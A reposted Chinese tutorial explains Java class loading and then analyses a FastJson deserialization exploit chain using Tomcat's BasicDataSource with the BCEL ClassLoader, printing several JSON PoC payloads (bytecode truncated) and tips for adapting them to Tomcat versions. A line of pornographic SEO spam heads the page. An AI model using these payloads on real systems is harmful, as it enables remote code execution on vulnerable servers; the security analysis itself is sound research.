真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何解析Java動態(tài)類加載的機制

這篇文章將為大家詳細講解有關(guān)如何解析Java動態(tài)類加載的機制,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

創(chuàng)新互聯(lián)主要從事網(wǎng)頁設(shè)計、PC網(wǎng)站建設(shè)(電腦版網(wǎng)站建設(shè))、wap網(wǎng)站建設(shè)(手機版網(wǎng)站建設(shè))、成都響應(yīng)式網(wǎng)站建設(shè)公司、程序開發(fā)、網(wǎng)站優(yōu)化、微網(wǎng)站、小程序定制開發(fā)等,憑借多年來在互聯(lián)網(wǎng)的打拼,我們在互聯(lián)網(wǎng)網(wǎng)站建設(shè)行業(yè)積累了豐富的網(wǎng)站設(shè)計制作、成都網(wǎng)站設(shè)計、網(wǎng)站設(shè)計、網(wǎng)絡(luò)營銷經(jīng)驗,集策劃、開發(fā)、設(shè)計、營銷、管理等多方位專業(yè)化運作于一體。

今天我們講一下Java的動態(tài)類加載的機制。

1  Java類加載器:ClassLoader

我們通常會把編程語言的處理器分為解釋器編譯器。解釋器是一種用于執(zhí)行程序的軟件,它會根據(jù)程序代碼中的算法執(zhí)行運算,如果這個執(zhí)行軟件是根據(jù)虛擬的或者類似機器語言的程序設(shè)計語言寫成,那也稱為虛擬機。編譯器則是將某種語言代碼轉(zhuǎn)換為另外一種語言的程序,通常會轉(zhuǎn)換為機器語言。

有些編程語言會混用解釋器和編譯器,比如Java會先通過編譯器將源代碼轉(zhuǎn)換為Java二進制代碼(字節(jié)碼),并將這種虛擬的機器語言保存在文件中(通常是.class文件),之后通過Java虛擬機(JVM)的解釋器來執(zhí)行這段代碼。

Java是面向?qū)ο蟮恼Z言,字節(jié)碼中包含了很多Class信息。在 JVM 解釋執(zhí)行的過程中,ClassLoader就是用來加載Java類的,它會將Java字節(jié)碼中的Class加載到內(nèi)存中。而每個 Class 對象的內(nèi)部都有一個 classLoader 屬性來標(biāo)識自己是由哪個 ClassLoader 加載的。

class Class {

    ...
    private Class(ClassLoader loader) {
    // Initialize final field for classLoader.  The initialization value of non-null
      // prevents future JIT optimizations from assuming this final field is null.
      classLoader = loader;
    }
    ...
    private final ClassLoader classLoader;

    ...

}

ClassLoader類位于java.lang.ClassLoader,官方描述是這樣的:

/**
 * A class loader is an object that is responsible for loading classes. The
 * class ClassLoader is an abstract class.  Given the binary name of a class, a class loader should attempt to
 * locate or generate data that constitutes a definition for the class.  A
 * typical strategy is to transform the name into a file name and then read a
 * "class file" of that name from a file system.
 *
 * ...
 *
 * 

 The ClassLoader class uses a delegation model to search for  * classes and resources.  Each instance of ClassLoader has an  * associated parent class loader.  When requested to find a class or  * resource, a ClassLoader instance will delegate the search for the  * class or resource to its parent class loader before attempting to find the  * class or resource itself.  The virtual machine's built-in class loader,  * called the "bootstrap class loader", does not itself have a parent but may  * serve as the parent of a ClassLoader instance.  *  * ...  **/ public abstract class ClassLoader {     ... }

2  常見的ClassLoader

JDK內(nèi)置常見的ClassLoader主要有這幾個:BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLClassLoader、ContextClassLoader。

ClassLoader采用了委派模式(Parents Delegation Model)來搜索類和資源。每一個ClassLoader類的實例都有一個父級ClassLoader,當(dāng)需要加載類時,ClassLoader實例會委派父級ClassLoader先進行加載,如果無法加載再自行加載。JVM 內(nèi)置的 BootstrapClassLoader 自身沒有父級ClassLoader,而它可以作為其他ClassLoader實例的父級。

  • BootstrapClassLoader,啟動類加載器/根加載器,負責(zé)加載 JVM 運行時核心類,這些類位于 JAVA_HOME/lib/rt.jar 文件中,我們常用內(nèi)置庫 java.*.* 都在里面。這個 ClassLoader 比較特殊,它其實不是一個ClassLoader實例對象,而是由C代碼實現(xiàn)。用戶在實現(xiàn)自定義類加載器時,如果需要把加載請求委派給啟動類加載器,那可以直接傳入null作為 BootstrapClassLoader。

  • ExtClassLoader,擴展類加載器,負責(zé)加載 JVM 擴展類,擴展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,庫名通常以 javax 開頭。

  • AppClassLoader,應(yīng)用類加載器/系統(tǒng)類加載器,直接提供給用戶使用的ClassLoader,它會加載 ClASSPATH 環(huán)境變量或者 java.class.path 屬性里定義的路徑中的 jar 包和目錄,負責(zé)加載包括開發(fā)者代碼中、第三方庫中的類。

  • URLClassLoader,ClassLoader抽象類的一種實現(xiàn),它可以根據(jù)URL搜索類或資源,并進行遠程加載。BootstrapClassLoader、ExtClassLoader、AppClassLoader等都是 URLClassLoader 的子類。

AppClassLoader 可以由 ClassLoader 類提供的靜態(tài)方法 getSystemClassLoader() 得到,開發(fā)者編寫代碼中的類就是通過AppClassLoader進行加載的,包括 main() 方法中的第一個用戶類。

我們可以運行如下代碼查看ClassLoader的委派關(guān)系:

ClassLoader.getParent() 可以獲取用于委派的父級class loader,通常會返回null來表示bootstrap class loader。

public class JavaClassLoader {

    public static void main(String[] args) {
        ClassLoader appClassloader = ClassLoader.getSystemClassLoader();
        ClassLoader extensionClassloader = appClassloader.getParent();
        System.out.println("AppClassLoader is " + appClassloader);
        System.out.println("The parent of AppClassLoader is " + extensionClassloader);
        System.out.println("The parent of ExtensionClassLoader is " + extensionClassloader.getParent());
    }
}

執(zhí)行結(jié)果:

AppClassLoader is sun.misc.Launcher$AppClassLoader@18b4aac2
The parent of AppClassLoader is sun.misc.Launcher$ExtClassLoader@5e2de80c
The parent of ExtensionClassLoader is null

而 ExtensionClassLoader 和 AppClassLoader 都是 URLClassLoader 的子類,它們都是從本地文件系統(tǒng)里加載類庫。URLClassLoader 不但可以加載遠程類庫,還可以加載本地路徑的類庫,取決于構(gòu)造器中不同的地址形式。

ExtClassLoader 和 AppClassLoader 類的實現(xiàn)代碼位于rt.jar 中的 sun.misc.Launcher 類中,Launcher是由BootstrapClassLoader加載的。ExtClassLoader 和 AppClassLoader 定義如下:

static class ExtClassLoader extends URLClassLoader {
    private static volatile Launcher.ExtClassLoader instance;

    public static Launcher.ExtClassLoader getExtClassLoader() throws IOException {
    if (instance == null) {
        Class var0 = Launcher.ExtClassLoader.class;
        synchronized(Launcher.ExtClassLoader.class) {
            if (instance == null) {
                instance = createExtClassLoader();
            }
        }
    }

    return instance;
}

...

static class AppClassLoader extends URLClassLoader {
    final URLClassPath ucp = SharedSecrets.getJavaNetAccess().getURLClassPath(this);

    public static ClassLoader getAppClassLoader(final ClassLoader var0) throws IOException {
    final String var1 = System.getProperty("java.class.path");
    final File[] var2 = var1 == null ? new File[0] : Launcher.getClassPath(var1);
    return (ClassLoader)AccessController.doPrivileged(
        new PrivilegedAction() {
        public Launcher.AppClassLoader run() {
            URL[] var1x = var1 == null ? new URL[0] : Launcher.pathToURLs(var2);
            return new Launcher.AppClassLoader(var1x, var0);
        }
    });
}

3  ClassLoader的幾個重要方法

ClassLoader 中有幾個重要的方法:loadClass()、findClass()、defineClass()。ClassLoader 嘗試定位或者產(chǎn)生一個Class的數(shù)據(jù),通常是把二進制名字轉(zhuǎn)換成文件名然后到文件系統(tǒng)中找到該文件。

  • loadClass(String classname),參數(shù)為需要加載的全限定類名,該方法會先查看目標(biāo)類是否已經(jīng)被加載,查看父級加載器并遞歸調(diào)用loadClass(),如果都沒找到則調(diào)用findClass()。

  • findClass(),搜索類的位置,一般會根據(jù)名稱或位置加載.class字節(jié)碼文件,獲取字節(jié)碼數(shù)組,然后調(diào)用defineClass()。

  • defineClass(),將字節(jié)碼轉(zhuǎn)換為 JVM 的 java.lang.Class 對象。

// 歡迎訂閱我的微信公眾號:安全引擎

4  Class.forName()

Class.forName() 也可以用來動態(tài)加載指定的類,它會返回一個指定類/接口的 Class 對象,如果沒有指定ClassLoader, 那么它會使用BootstrapClassLoader來進行類的加載。該方法定義如下:

public static Class forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException

public static Class forName(String className) throws ClassNotFoundException

Class.forName() 和 ClassLoader.loadClass() 這兩個方法都可以用來加載目標(biāo)類,但是都不支持加載原生類型,比如:int。Class.forName() 可以加載數(shù)組,而 ClassLoader.loadClass() 不能。

// 動態(tài)加載 int 數(shù)組

Class ia = Class.forName("[I");
System.out.println(ia);

// 會輸出:
// class [I

Class ia2 =  ClassLoader.getSystemClassLoader().loadClass("[I"); 

// 數(shù)組類型不能使用ClassLoader.loadClass方法,會報錯:
// Exception in thread "main" java.lang.ClassNotFoundException: [I

Class.forName()方法實際上也是調(diào)用的 CLassLoader 來實現(xiàn)的,調(diào)用時也可以在參數(shù)中明確指定ClassLoader。與ClassLoader.loadClass() 一個小小的區(qū)別是,forName() 默認(rèn)會對類進行初始化,會執(zhí)行類中的 static 代碼塊。而ClassLoader.loadClass() 默認(rèn)并不會對類進行初始化,只是把類加載到了 JVM 虛擬機中。

我們執(zhí)行如下測試代碼:

class Test{

    static{
        System.out.println("http:// This is static code executed");
    }
}

public class JavaClassLoader {

    public static void main(String[] args) throws ClassNotFoundException {
        ClassLoader appClassloader = ClassLoader.getSystemClassLoader();      
        System.out.println("Execute Class.forName:");
        Class cl = Class.forName("Test");
        System.out.println(cl);
        System.out.println("Execute ClassLoader:");
        Class cl2 = appClassloader.loadClass("Test");
        System.out.println(cl2);

    }
}

執(zhí)行結(jié)果如下,可以看到Class.forName()時,static代碼塊被執(zhí)行了:

Execute Class.forName:
// This is static code executed
class Test
Execute ClassLoader:
class Test

// 歡迎訂閱我的微信公眾號:安全引擎

5  FastJson內(nèi)網(wǎng)利用

還記得FastJson TemplatesImpl利用鏈嗎 ?

TemplatesImpl.getOutputProperties()
   > TemplatesImpl.newTransformer()
       > TemplatesImpl.getTransletInstance()
           > TemplatesImpl.defineTransletClasses()

private void defineTransletClasses()
throws TransformerConfigurationException {

    ...
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    ...
}

這個PoC原理上也是利用了 ClassLoader 動態(tài)加載惡意代碼,在Payload中直接傳入字節(jié)碼。TransletClassLoader.defineClass() 將 Bytecode 字節(jié)碼轉(zhuǎn)為Class對象。但是這種限制比較多,要求開發(fā)者在調(diào)用parseObject()時額外設(shè)置 Feature.SupportNonPublicField,這是不太常見的使用場景。

其實在2017年FastJson漏洞剛公布出來的時候,我們就很快捕獲到了一個比較通用的Exploit,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource類。這個Payload不需要反連,不要求特定的代碼寫法,直接傳入惡意代碼bytecode完成利用,而且依賴包 tomcat-dbcp 使用也比較廣泛,是Tomcat的數(shù)據(jù)庫驅(qū)動組件。但是網(wǎng)上對這個PoC的分析文章并不是很多,印象中只有g(shù)enxor在一文中有較為完整的分析。PoC如下:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

這里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 對象,并完成了命令執(zhí)行。直接看利用鏈:

BasicDataSource.getConnection()
   > createDataSource()
       > createConnectionFactory()

protected ConnectionFactory createConnectionFactory() throws SQLException {

    ...

    if (driverClassLoader == null) {
            driverFromCCL = Class.forName(driverClassName);
    } else {
            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
    }
    ...

經(jīng)過一連串的調(diào)用鏈,在 BasicDataSource.createConnectionFactory() 中會調(diào)用 Class.forName(),還可以自定義ClassLoader。如上一節(jié)所說 Class.forName() 在動態(tài)加載類時,默認(rèn)會進行初始化,所以這里在動態(tài)加載的過程中會執(zhí)行 static 代碼段。

那么在可控 classname 和 classloader 的情況下,如何實現(xiàn)命令執(zhí)行呢?

接下來不得不提這個PoC中的 com.sun.org.apache.bcel.internal.util.ClassLoader 了,這是一個神奇的 ClassLoader,因為它會直接從 classname 中提取 Class 的 bytecode 數(shù)據(jù)。

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException
{
    ...

    if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
    else { 
      ...
    }

    if(clazz != null) {
      byte[] bytes  = clazz.getBytes();
      cl = defineClass(class_name, bytes, 0, bytes.length);
    } else
      cl = Class.forName(class_name);

        ....

    return cl;
}

/*
* The name contains the special token $$BCEL$$. Everything before that
* token is consddered to be a package name. You can encode you own
* arguments into the subsequent string. 
* The default implementation interprets the string as a encoded compressed
* Java class, unpacks and decodes it with the Utility.decode() method, and
* parses the resulting byte array and returns the resulting JavaClass object.
*
* @param class_name compressed byte code with "$$BCEL$$" in it
*/
protected JavaClass createClass(String class_name) {
    ...
}

如果 classname 中包含 $$BCEL$$ ,這個 ClassLoader 則會將$$BCEL$$后面的字符串按照BCEL編碼進行解碼,作為Class的字節(jié)碼,并調(diào)用 defineClass() 獲取 Class 對象。

于是我們通過FastJson反序列化,反序列化生成一個 BasicDataSource 對象,并將它的成員變量 classloader 賦值為 com.sun.org.apache.bcel.internal.util.ClassLoader 對象,將 classname 賦值為 經(jīng)過BCEL編碼的字節(jié)碼(假設(shè)對應(yīng)的類為Evil.class),我們將需要執(zhí)行的代碼寫在 Evil.class 的 static 代碼塊中即可。

BCEL編碼和解碼的方法:

import com.sun.org.apache.bcel.internal.classfile.Utility;

...

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

...

0x05.1  你知道嗎

再回顧一下PoC

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

這里PoC結(jié)構(gòu)上還有一個值得注意的地方在于,

  1. 先是將 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段放到JSON Value的位置上,之后在外面又套了一層 "{}"。

  2. 之后又將 Payload 整個放到了JSON 字符串中 Key 的位置上。

為什么這么設(shè)計呢?

因為為了完成前面說的一整個利用鏈,我們需要觸發(fā) BasicDataSource.getConnection() 方法。

我在 FastJson反序列化漏洞利用的三個細節(jié) 提到過,F(xiàn)astJson中的 JSON.parse() 會識別并調(diào)用目標(biāo)類的 setter 方法以及某些滿足特定條件的 getter 方法,然而 getConnection() 并不符合特定條件,所以正常來說在 FastJson 反序列化的過程中并不會被調(diào)用。

// 歡迎訂閱我的微信公眾號:安全引擎

原PoC中很巧妙的利用了 JSONObject對象的 toString() 方法實現(xiàn)了突破。JSONObject是Map的子類,在執(zhí)行toString() 時會將當(dāng)前類轉(zhuǎn)為字符串形式,會提取類中所有的Field,自然會執(zhí)行相應(yīng)的 getter 、is等方法。

首先,在 {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 這一整段外面再套一層{},反序列化生成一個 JSONObject 對象。

然后,將這個 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的時候,F(xiàn)astJson 會對 JSON Key 自動調(diào)用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

于是乎就觸發(fā)了 BasicDataSource.getConnection()。PoC最完整的寫法應(yīng)該是:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

當(dāng)然,如果目標(biāo)環(huán)境的開發(fā)者代碼中是調(diào)用的是  JSON.parseObject() ,那就不用這么麻煩了。與 parse() 相比,parseObject() 會額外的將 Java 對象轉(zhuǎn)為 JSONObject 對象,即調(diào)用 JSON.toJSON(),在處理過程中會調(diào)用所有的 setter 和 getter 方法。

所以對于 JSON.parseObject(),直接傳入這樣的Payload也能觸發(fā):

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

0x05.2  Tips

BasicDataSource類在舊版本的 tomcat-dbcp 包中,對應(yīng)的路徑是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。

比如:6.0.53、7.0.81等版本。MVN 依賴寫法如下:



    org.apache.tomcat
    dbcp
    6.0.53

在Tomcat 8.0之后包路徑有所變化,更改為了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,構(gòu)造PoC的時候需要注意一下。MVN依賴寫法如下:



    org.apache.tomcat
    tomcat-dbcp
    9.0.8

關(guān)于如何解析Java動態(tài)類加載的機制就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。


文章標(biāo)題:如何解析Java動態(tài)類加載的機制
本文來源:http://weahome.cn/article/pcdiee.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部